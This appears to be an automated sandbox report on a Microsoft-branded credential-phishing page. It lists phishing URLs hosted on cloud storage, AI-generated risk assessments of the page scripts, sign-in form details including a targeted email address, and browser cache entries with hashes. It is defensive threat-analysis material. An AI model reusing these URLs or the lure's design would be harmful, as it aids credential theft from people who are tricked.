u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("name","")),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("
URL: https://onlineauthenticationrelayservices.rnanteng... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "This JavaScript snippet exhibits several behaviors that raise moderate security concerns: 1. It uses the `Function` constructor, which can be used for dynamic code execution (3 points). 2. It sends data to an external domain (`analytics.example.com`) without clear transparency about the data being transmitted (2 points). 3. The code is heavily obfuscated, making it difficult to understand the full scope of its functionality (3 points). While the script may have a legitimate purpose, such as analytics or telemetry, the use of the `Function` constructor and the lack of transparency around data transmission are concerning. Additionally, the obfuscation of the code makes it challenging to assess the script's true intent. Further investigation would be necessary to determine if this script is part of a legitimate application or if it poses a more significant security risk." }
!function(){"use strict";var t=function(r,e){return t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,r){t.__proto__=r}\|\|function(t,r){for(var e in r)Object.prototype.hasOwnProperty.call(r,e)&&(t[e]=r[e])},t(r,e)};function r(r,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function n(){this.constructor=r}t(r,e),r.prototype=null===e?Object.create(e):(n.prototype=e.prototype,new n)}function e(t,r,e,n){return new(e\|\|(e=Promise))((function(o,i){function u(t){try{s(n.next(t))}catch(t){i(t)}}function c(t){try{s(n.throw(t))}catch(t){i(t)}}function s(t){var r;t.done?o(t.value):(r=t.value,r instanceof e?r:new e((function(t){t(r)}))).then(u,c)}s((n=n.apply(t,r\|\|[])).next())}))}function n(t,r){var e,n,o,i,u={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return i={next:c(0),throw:c(1),return:c(2)},"function"==typeof Symbol&&(i[Symbol.iterator]=function(){return this}),i;function c(c){return function(s){return function(c){if(e)throw new TypeError("Generator is already executing.");for(;i&&(i=0,c[0]&&(u=0)),u;)try{if(e=1,n&&(o=2&c[0]?n.return:c[0]?n.throw\|\|((o=n.return)&&o.call(n),0):n.next)&&!(o=o.call(n,c[1])).done)return o;switch(n=0,o&&(c=[2&c[0],o.value]),c[0]){case 0:case 1:o=c;break;case 4:return u.label++,{value:c[1],done:!1};case 5:u.label++,n=c[1],c=[0];continue;case 7:c=u.ops.pop(),u.trys.pop();continue;default:if(!(o=u.trys,(o=o.length>0&&o[o.length-1])\|\|6!==c[0]&&2!==c[0])){u=0;continue}if(3===c[0]&&(!o\|\|c[1]>o[0]&&c[1]<o[3])){u.label=c[1];break}if(6===c[0]&&u.label<o[1]){u.label=o[1],o=c;break}if(o&&u.label<o[2]){u.label=o[2],u.ops.push(c);break}o[2]&&u.ops.pop(),u.trys.pop();continue}c=r.call(t,u)}catch(t){c=[6,t],n=0}finally{e=o=0}if(5&c[0])throw c[1];return{value:c[0]?c[1]:void 0,done:!0}}([c,s])}}}Object.create;function o(t){var r="function"==typeof Symbol&&Symbol.iterator,e=r&&t[r],n=0;if(e)return e.call(t);if(t&&"number"==typeof t.length)return{next:function(){return t&&n>=t.length&&(t=void 0),{value:t&&t[n++],done:!t}}};throw new TypeError(r?"Object is not iterable.":"Symbol.iterator is not defined.")}function i(t,r){var e="function"==typeof Symbol&&t[Symbol.iterator];if(!e)return t;var n,o,i=e.call(t),u=[];try{for(;(void 0===r\|\|r-- >0)&&!(n=i.next()).done;)u.push(n.value)}catch(t){o={error:t}}finally{try{n&&!n.done&&(e=i.return)&&e.call(i)}finally{if(o)throw o.error}}return u}function u(t,r,e){if(e\|\|2===arguments.length)for(var n,o=0,i=r.length;o<i;o++)!n&&o in r\|\|(n\|\|(n=Array.prototype.slice.call(r,0,o)),n[o]=r[o]);return t.concat(n\|\|Array.prototype.slice.call(r))}function c(t){return this instanceof c?(this.v=t,this):new c(t)}function s(t,r,e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var n,o=e.apply(t,r\|\|[]),i=[];return n={},u("next"),u("throw"),u("return",(function(t){return function(r){return Promise.resolve(r).then(t,l)}})),n[Symbol.asyncIterator]=function(){return this},n;function u(t,r){o[t]&&(n[t]=function(r){return new Promise((function(e,n){i.push([t,r,e,n])>1\|\|s(t,r)}))},r&&(n[t]=r(n[t])))}function s(t,r){try{(e=o[t](r)).value instanceof c?Promise.resolve(e.value.v).then(a,l):f(i[0][2],e)}catch(t){f(i[0][3],t)}var e}function a(t){s("next",t)}function l(t){s("throw",t)}function f(t,r){t(r),i.shift(),i.length&&s(i[0][0],i[0][1])}}function a(t){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var r,e=t[Symbol.asyncIterator];return e?e.call(t):(t=o(t),r={},n("next"),n("throw"),n("return"),r[Symbol.asyncIterator]=function(){return this},r);function n(e){r[e]=t[e]&&function(r){return new Promise((function(n,o){(function(t,r,e,n){Promise.resolve(n).then((function(r){t({value:r,done:e})}),r)})(n,o,(r=t[e](r)).done,r.value)}))}}}Object.create;"function"==typeof SuppressedError&&SuppressedError;function l(t){return"function"==typeof t}var f,h=((f=function(t){return function(r){t(this),this.message=r?r.length+" errors oc
URL: https://www.gstatic.com/recaptcha/releases/1Bq_oiM... Model: Joe Sandbox AI	```json { "risk_score": 3, "reasoning": "The script contains obfuscated code and complex logic, but there are no clear indicators of malicious behavior such as data exfiltration or dynamic code execution. The script appears to be part of a legitimate library (Closure Library) with proper licensing, suggesting a low risk of harmful intent." }
(function(){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / / Copyright Google LLC SPDX-License-Identifier: Apache-2.0 / / Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / / Copyright 2005, 2007 Bob Ippolito. All Rights Reserved. Copyright The Closure Library Authors. SPDX-License-Identifier: MIT / var y=function(){return[function(Y,H,g,f,r,M,C,D,e,d,z,G,x,N,u,m,t,P,n,c,B,F,h){if((Y\|9)<((Y-7\|((F=[0,1E3,17],(Y-5^F[2])<Y&&(Y-5\|58)>=Y)&&(W[25](59,f,g),r=YE(Number(f)),z1(r)&&(!g&&!G1\|\|r>=H)?h=String(r):(M=f.indexOf("."),M!==-1&&(f=f.substring(H,M)),h=w[38](F[2],16,20,f))),36))>=Y&&(Y+4&13)<Y&&xE.call(this,375,10),21)&&Y<<1>=5){if(G=(d=W[32](12,(n=["iPod","allow",(m={title:"reCAPTCHA",tabindex:C,width:String(f.width),height:String(f.height),role:"presentation",name:g+M.X},"kaios")],"OPR"))&&p[42](8, H,W[26](15,2,"Edge","Edg/","Opera"),"17.5")>=F[0],Z[F[2]](30,n[F[0]]))){if(K[N=(P="",v[23](3)),28](16))e=/Windows (?:NT\|Phone) ([0-9.]+)/,P=(u=e.exec(N))?u[H]:"0.0";else if(Z[F[2]](27,n[F[0]]))e=/(?:iPhone\|iPod\|iPad\|CPU)\s+OS\s+(\S+)/,P=(z=e.exec(N))&&z[H].replace(/_/g,".");else if(L[30](7))e=/Mac OS X ([0-9_.]+)/,P=(B=e.exec(N))?B[H].replace(/_/g,"."):"10";else if(v[23](7).toLowerCase().indexOf(n[2])!=-1)e=/(?:KaiOS)\/(\S+)/i,P=(x=e.exec(N))&&x[H];else if(p[21](16))e=/Android\s+([^\);]+)(\)\|;)/, P=(t=e.exec(N))&&t[H];else if(v[F[0]](26)?wB.platform==="Chrome OS":v[6](42,"CrOS"))e=/(?:CrOS\s+(?:i686\|x86_64)\s+([0-9.]+))/,P=(c=e.exec(N))&&c[H];G=p[42](9,H,P\|\|"","17.5")>=F[0]}if(d\|\|G)m[n[1]]="private-token";M.M=W[28](F[2],"IFRAME",F[0],m,L[11](7,r)),D.appendChild(M.M)}return(Y-4^15)<Y&&(Y-6\|23)>=Y&&(r.Xu.send(g,f),r.o&&r.o.resolve(f),w[9](52,function(){return r.Cg(f.response,H)},f.timeoutF[1]),h=r.qV({id:null,timeout:null,kK:1E3,Ip:M?1:null})),h},function(Y,H,g,f,r,M,C,D,e,d,z,G,x,N,u,m,t, P,n,c){if((Y&(n=[15,"toString","UnknownError"],109))==Y)y[n[0]](74,g,ux,H,f);if(Y+2>>1<Y&&(Y-7^18)>=Y)if(C=["Not available",0,"Unknown Error of unknown type"],z=y[n[0]](7,C[1],".","window.location.href"),M==H&&(M='Unknown Error of type "null/undefined"'),typeof M==="string")c={message:M,name:"Unknown error",lineNumber:"Not available",fileName:z,stack:"Not available"};else{e=!1;try{t=M.lineNumber\|\|M.line\|\|C[0]}catch(B){t=C[0],e=g}try{x=M.fileName\|\|M.filename\|\|M.sourceURL\|\|ZC.$googDebugFname\|\|z}catch(B){e= g,x=C[0]}P=v[35](7,"\n",M),!e&&M.lineNumber&&M.fileName&&M.stack&&M.message&&M.name?c={message:M.message,name:M.name,lineNumber:M.lineNumber,fileName:M.fileName,stack:P}:(m=M.message,m==H&&(M.constructor&&M.constructor instanceof Function?(M.constructor.name?G=M.constructor.name:(u=M.constructor,v1[u]?G=v1[u]:(N=String(u),v1[N]\|\|(D=/function\s+([^\(]+)/m.exec(N),v1[N]=D?D[1]:"[Anonymous]"),G=v1[N])),d='Unknown Error of type "'+G+r):d=C[2],m=d,typeof M[n[1]]==="function"&&Object.prototype[n[1]]!== M[n[1]]&&(m+=f+M[n[1]]())),c={message:m,name:M.name\|\|n[2],lineNumber:t,fileName:x,stack:P\|\|C[0]})}return c},function(Y,H,g,f,r,M){return((Y^69)>>((Y-3^(r=[15,2,8],12))>=Y&&(Y+5^11)<Y&&(mD.call(this),this.G=0),4)\|\|(M=Error("Invalid wire type: "+g+" (at position "+f+H)),Y<<r[1])&r[0]\|\|(M=p[41](r[2],f,H==null?H:v[21](79,H),g)),M},function(Y,H,g,f,r,M,C,D,e,d){if((Y>>1&15)==(Y-3<(d=["keyup",56,10],d[2])&&(Y>>1&15)>=1&&(nK.call(this),H&&L[40](d[1],d[0],this,H,g)),1))a:{for(C=(D=[g==typeof globalThis&& globalThis,r,g==typeof window&&window,g==typeof self&&self,g==typeof global&&global],H);C<D.length;++C)if((M=D[C])&&M[f]==Math){e=M;break a}throw Error("Cannot find global object");}return((Y\|48)==Y&&(e=w[47](28).call(768,28).padEnd(4,":")+H),(Y&23)==Y&&(e=w[15](d[2],H.id,H.name)),(Y\|40)==Y)&&c1(g,(H\|34)&-30941),e},function(Y,H,g,f,r,M,C){return(Y>>2&11)==((M=[4,32,7],(Y-M[2]\|63)<Y&&Y-9<<2>=Y&&(C=w[M[1]](9,g,H,f,r)),Y+M[0]<20&&(Y-M[2]&M[2])>=2)&&X.call(this,H),3)&&(C=document.body),Y+2>>1<Y&&(Y-M[0]^ 5)>=Y&&(C=new FH(H,f,g)),C},function(Y,H,g,f,r,M){if(((Y+(r=[3,1,"S"],2)&7)<2&&Y+4>=11&&(this.Z
URL: https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Identity Verification Required", "prominent_button_name": "Proceed", "text_input_field_labels": [ "Enter your email" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://onlineauthenticationrelayservices.rnanteng... Model: Joe Sandbox AI	```json { "risk_score": 2, "reasoning": "The script includes moderate-risk indicators such as aggressive DOM manipulation and error reporting to third-party domains. However, there are no high-risk behaviors like dynamic code execution or data exfiltration. The script appears to be part of a debugging or logging framework, which aligns with typical analytics or telemetry functionality, justifying a low to medium risk score." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("name","")),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("s
URL: https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify.html Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28= Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Why did this happen?", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28= Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28= Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Why did this happen?", "prominent_button_name": "I'm not a robot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28= Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28= Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Why did this happen?", "prominent_button_name": "I'm not a robot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28= Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28= Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "bdf29f@eutg.co" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28= Model: Joe Sandbox AI	{ "brands": [ "unknown" ] }
	{ "brands": [ "unknown" ] }
URL: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28= Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "bdf29f@eutg.cd" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28= Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28= Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL contains 'officedocument', which suggests an association with Microsoft Office.", "The domain 'msportalrelay' suggests a potential link to Microsoft services.", "The actual domain is 'linodeobjects.com', which is a cloud service provider and not directly associated with Microsoft.", "The use of a cloud service provider's domain with brand-related subdomains is a common phishing tactic.", "The brand 'Microsoft' is well-known and typically associated with 'microsoft.com'.", "The presence of multiple hyphens and a non-Microsoft domain increases suspicion." ], "riskscore": 8} Google indexed: False
URL: officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com Brands: unknown Input Fields: bdf29f@eutg.co
URL: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28= Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL provided does not match the legitimate domain name for Microsoft.", "The URL contains multiple hyphens and a long subdomain, which is a common tactic used in phishing URLs.", "The domain 'linodeobjects.com' is a cloud service provider, which can be used by anyone to host content, increasing the risk of phishing.", "The presence of 'officedocumentauthenticationservices' in the URL is suspicious and could be an attempt to mimic Microsoft services." ], "riskscore": 9} Google indexed: False
URL: officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com Brands: Microsoft Input Fields: bdf29f@eutg.cd

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	56
Entropy (8bit):	4.860577243331642
Encrypted:	false
SSDEEP:	3:8Kiun9kagjzQ32BQn:8Kiun2aWzQGBQn
MD5:	F220004BD2C441EC576F73CBEA83D539
SHA1:	127484ECE51FCB705C8FA91681CBE71AFBC06876
SHA-256:	F4014D5129917EE668E2AF3A51054CBF8C6B92DC35741328C643E6CE21B102D3
SHA-512:	5526E094B6DC023E7733B8A77A020BD52BB2D1342DAC93DEB473714E34734F2FB93824403518702DE53F02CDCD201A5B81CCA6FDFCE731D7921A1824A8062AE5
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwmNaF8NbD9QPBIFDdFbUVISBQ1Xevf9EhcJmXXkvWIAZ8gSBQ3RW1FSEgUNV3r3_Q==?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgAKEgoHDdFbUVIaAAoHDVd69/0aAA==

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	78622
Entropy (8bit):	6.020825414681031
Encrypted:	false
SSDEEP:	1536:OfGNbFoZJSUYOOaLnAW8+IcTOIcbBehXwW5vxM:mGRFauOxLA/+IcTOXGXK
MD5:	A9A4C0DF287886862263D8AF0A6E096E
SHA1:	4AEB13637CFF035BB7CC47AAA42D61F306E0E474
SHA-256:	AD68A177A2D52E736095A6B7431FBFCA3F840D66A1EA67090B55C5F90722B067
SHA-512:	A9605E4B740E3841366ECFB2EE8B44469057009279D8BD6B6455AF13BD5863DC130A65C740B465E20E060A3CAE4D74EF7B4DA860ED144B89131C5406BF12CBEF
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/1Bq_oiMBd4XPUhKDwr0YL1Js/styles__ltr.css
Preview:	.goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inline}*:first-child+html .goog-inline-block{display:inline}.recaptcha-checkbox{border:none;font-size:1px;height:28px;margin:4px;width:28px;overflow:visible;outline:0;vertical-align:text-bottom}.recaptcha-checkbox-border{-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background-color:#fff;border:2px solid #c1c1c1;font-size:1px;height:24px;position:absolute;width:24px;z-index:1}.recaptcha-checkbox-borderAnimation{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFQAAANICAYAAABZl8i8AAAAIGNIUk0AAHomAACAhAAA+gAAAIDoAAB1MAAA6mAAADqYAAAXcJy6UTwAAAAGYktHRAD/AP8A/6C9p5MAAHq9SURBVHja7Z15fFTl9f/fd9ZM9n1PgCyEXSSRNYKCgAuiIipuVSuudavV1tq6W/WrtnWrrZbWDZUqUqUoCoIEQhBI2JesELKvM9mTWe7c3x83d5xAlkky8fv92ft5vfKC19znOWfuZ571POc5B1SoUKFChQoVKlSoUKFChQoVKlSoUKFChQoVKlSoUKFChQoVKlSoUKFChQoVKlSoUKFChQoVKlSoUKHifwGCRqsTNFrdj6VPq9XqtNofT9+wvutQyEyad8t9IaPPntFUd

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1434), with no line terminators
Category:	downloaded
Size (bytes):	1434
Entropy (8bit):	5.781939639678778
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVCe2TLph9gFB5vtADjkrDQndcl/1t4glvllLterw11dE7sLc:VKEctKo7LmvtUjPKtX7cw11NLrwUnG
MD5:	A986FB183A60CDFB9787E127B4630810
SHA1:	74FD2CE55270F931E4C6E5FCEC0724EC3CB8FC96
SHA-256:	E267EBBE0EEBC0915564EE09E911D4FA4869E25D9ACEB51EB29C421A7456E26A
SHA-512:	3D45A2365A75227E8C98C4623EDC47BEFF27573F1B329A3CE4A1E9E89A9F1AD0376108C1C5A0F69C8946C180AE36898BDD67E6E3780B3223BE2D8F413AE3BFFA
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api.js
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A/kargTFyk8MR5ueravczef/wIlTkbVk1qXQesp39nV+xNECPdLBVeYffxrM8TmZT6RArWGQVCJ0LRivD7glcAUAAACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().then(function(l){if(l!=='treatment_1.1'&&l!=='treatment_1.2'&&l!=='control_1.1'){d.head.prepend(m)

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HoUinYn:IUyY
MD5:	903747EA4323C522742842A52CE710C9
SHA1:	9F806EA4288867A31A4AD53AC171AA4029DF182B
SHA-256:	4BD8B60F91849C936AE45615145A7B7BE2CF803322A30BABBAE7267A142CA5BB
SHA-512:	EEF73DC29A38ED70FFCFC321931BCB5B5A29FAAC356E8F6D84F57C532EEF44AE75021C341CF7DAE26B8211924A1C0E0EC4735F6BFC4AF3970A48EB63BFB7895F
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmvedZtZNNYNxIFDYOoWz0=?alt=proto
Preview:	CgkKBw2DqFs9GgA=

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	102
Entropy (8bit):	4.876186401706384
Encrypted:	false
